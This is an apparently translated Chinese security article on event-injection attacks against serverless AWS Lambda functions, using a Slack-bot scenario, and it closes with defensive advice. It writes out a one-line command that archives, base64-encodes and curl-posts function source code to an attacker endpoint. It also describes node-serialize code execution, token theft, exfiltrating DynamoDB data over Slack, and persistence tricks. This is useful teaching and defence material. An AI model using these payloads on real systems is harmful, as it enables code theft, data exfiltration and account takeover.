即將發布的報告將通過在無服務器環境“演練”著名的OWASP Top 10 project來評估其風險,解釋并演示在無服務器環境中,這些攻擊途徑、防御技術和業務影響會帶來哪些變化。
本文是我們的系列文章中的第一篇,本文不僅會為讀者介紹來自傳統的、單體(monolithic)世界中的已知風險,同時,還會為大家介紹我們將面臨的一些新的風險。需要說明的是,本文將通過攻擊者和防御者兩個角度來演示我們所面臨的新型攻擊技術。
這篇文章討論了可能是變化最大、也是最令人擔憂的一種攻擊技術——注入攻擊。
SQL注入、OS命令注入、代碼注入等攻擊手法,常常是黑客們的最愛,因為它們通常會無往不勝。但是,站在防御者這一邊,情況就大為不同了。這些攻擊方法總是被認為是頭號風險,并且通常會盡一切努力來防御它們。不過,雖然單體應用程序的發展至少已經有20個年頭了,我們仍然經常聽說其中又爆出巨大的安全漏洞,使得攻擊者能夠插入惡意代碼,隨之而來的,便是正式的致歉新聞稿,以及客戶在相關頁面上留下的幾十萬條的抱怨留言。由此看來,我們一直都沒有“學乖”。
實際上,在以前的環境中,防御注入攻擊要更容易一些。在采用無服務器架構之前,注入攻擊基本上(現在仍然)都具有相同的攻擊套路。它們主要是應用程序對于來自網絡的不可信來源的輸入內容處理不當所致。
現在,上面這句話只能說是部分正確,但在無服務器架構中,“網絡”是一個更加復雜的術語。在無服務器架構中,函數通常是通過事件觸發的,而事件幾乎可以是基礎設施提供的任何服務,如云存儲、電子郵件或通知,等等。
這意味著編寫安全代碼時,我們不能再依賴于在網絡邊界上實施的安全控制了。這是真的:我們無法在收到的電子郵件與其觸發的功能之間設置防火墻。對于我們的代碼來說,我們既無法知道其運行當下的情況,也不知道之前發生了什么,更不知道它將走向何方。也就是說,它們只是一堆代碼而已。如果函數的代碼容易受到某種類型的注入攻擊,在無服務器架構的世界中,它通常被稱為事件注入漏洞。
好了,讓我們看看它到底是什么樣子吧。
現在,請考慮以下簡單的無服務器架構場景:
1.用戶與Slack聊天機器人頻道進行交互
2.用戶消息被發送到Slack后端
3.Slack后端被配置為向公司API網關發送消息
4.該請求通過事件觸發一組Lambda函數
5.其中一個lambda函數用于將消息寫入動態數據庫表
6.然后,向Slack后端發送自動回復
7.這樣,就會把請求作為Slack機器人發布到指定的頻道上
在我們的示例中,事件注入攻擊是可能的,因為通過Slack事件觸發的Lambda函數容易受到代碼注入漏洞的影響。在AWS上,大多數函數都在運行動態語言(如Python或NodeJS語言),這可能導致運行完全不同的代碼,而非原始代碼——RCE風格的攻擊。
如您所見,上面的代碼(在野外經常被發現)使用了eval()函數來解析事件中的JSON數據,我們都知道(我們真的知道嗎?),這本來是應該極力避免的。然而,這僅僅是一個例子,任何含有其他類型安全漏洞的代碼都面臨著被攻擊的風險。
在驗證漏洞(任何sleep或curl技術都可以)之后,攻擊者就可以著手攻擊這個無服務器環境了。當然,環境中的大多數文件都不會引起攻擊者的興趣。因此,我們最終可以忘記/etc/passwd示例。實際上,這些文件屬于環境容器,并且大多數在應用程序中沒有起到重要的作用。但是,它們還可以提供其他方面的線索。例如,通過訪問環境,攻擊者可以通過注入以下payload來竊取完整的函數代碼:
下面,我們來簡單解釋一下。其中,_$$ND_FUNC$$_ 是將數據視為函數的代碼模式。由于函數運行NodeJS語言的代碼,所以,我們可以使用require(“child_process”).exec() 來執行新進程。這允許攻擊者執行在函數容器上運行的任何進程。這里不會深入講解AWS Lambda的內部機制,我們只需要知道,當啟動NodeJS函數時,可以在運行目錄的容器上找到相應的代碼。這意味著攻擊者可以直接將代碼壓縮到/tmp(環境中唯一的非只讀文件夾)下面,進行base64編碼,并將其發送到自己有權訪問的地方,例如tar -pcvzf /tmp/source.tar.gz ./; b=`base64 –wrap=0 /tmp/source.tar.gz`; curl -X POST $l4 –data $b。
效果如何?
實際上,用不了一分鐘的時間,攻擊者就可以獲得完整的函數代碼:
通過觀察代碼,發現它好像是用來查看Slack請求的:
即使無法從代碼中讀取環境變量值,攻擊者也可以直接使用它們,因為它們是環境的組成部分。
最終,攻擊者可以通過注入代碼來修改原始機器人的行為。在下面的示例中,我們可以看到攻擊者是如何通過惡意payload修改機器人的化身,并打印原始的ICON_URL (很明顯,竊取BOT_TOKEN本身可能會導致部分接管Slack帳戶) 的:
當然,攻擊者也可以注入使用提供程序API的代碼,例如AWS-SDK。這樣的話,將允許攻擊者與該帳戶下的其他資源進行交互。例如,由于易受攻擊的函數會從某個DynamoDB表讀取數據,因此,攻擊者可以使用DynamoDB.DocumentClient.scan()函數以及代碼中已有的表數據,從同一個表中讀取信息,并利用Slack通道發送竊取的數據:
但是,通過Slack攻擊無服務器函數,只是針對應用程序生命周期的新型攻擊途徑之一。此外,攻擊者還可以通過電子郵件(主題、附件或標題)、MQTT發布/訂閱消息、云存儲事件(文件上傳/下載等)、隊列、日志、代碼提交或任何可以觸發我們代碼的其他事件來發動這種攻擊。
當然,這種攻擊的影響還是有所不同的。由于沒有服務器,因此,也就無法接管服務器了。但是,盡管在我們的示例中,攻擊者能夠讀取代碼、模擬函數、從數據庫中竊取數據并入侵該slack賬戶,但根據易受攻擊函數的權限的不同,在某些情況下,可能會導致云賬戶被完全接管(我們將在后續文章中加以介紹,敬請關注!)。如果該函數能夠訪問其他資源,那么,只需注入相應的代碼即可。
那么,我們應該如何防范這種攻擊呢?不是所有的事情都需要改變。大多數傳統的最佳實踐也適用于無服務器架構環境。永遠不要信任輸入或對輸入的合法性做出任何假設,使用安全的API,并嘗試以執行任務所需的最低權限運行代碼,以減少攻擊面。此外,開發人員還必須接受編寫安全代碼所需的相關培訓——現實告訴我們,這是不可能的。
然而,作為人類,我們非常容易出錯的。因此,我們必須找到一種自動化的方法,來進行預防。但是,如果沒有一個布防的邊界,我們該如何是好呢?
我們認為,無服務器架構環境的防御控制機制,也應該是基于無服務器架構的。否則,我們會失去轉移到無服務器環境中的一切。一位智者曾經說過,就像我們不能用劍來保護我們的宇宙飛船一樣,我們也不能用舊技術來保護新技術。無服務器架構的防御機制應該是短暫的,它將與其保護的代碼一起生死存亡。
此外,還有其他方面的一些因素,使得無服務器架構下的注入攻擊不同于傳統的注入攻擊。我們已經討論過一些,比如不同類型的輸入源、大多數動態語言以及環境中的相關(和無關)文件。同時,還有其他方面的區別。例如,無服務器函數的生存時間通常只有幾秒到幾分鐘。在這樣的環境中,攻擊該如何實現持續化呢?正常的攻擊肯定會持續到函數失效,攻擊者可能不得不重復發動攻擊,這會導致被發現的概率增大。然而,該攻擊還有其他實現持久化的方式。一種方法是直接維持容器的“體溫”,這意味著攻擊者每隔幾分鐘就會觸發一次事件,以確保容器繼續運行。另一種方法是注入payload來修改函數的源代碼,這些將在后面的文章中詳解介紹。這種方法將導致所有新容器都將與惡意代碼一起運行,從而導致環境被攻擊者長期占據。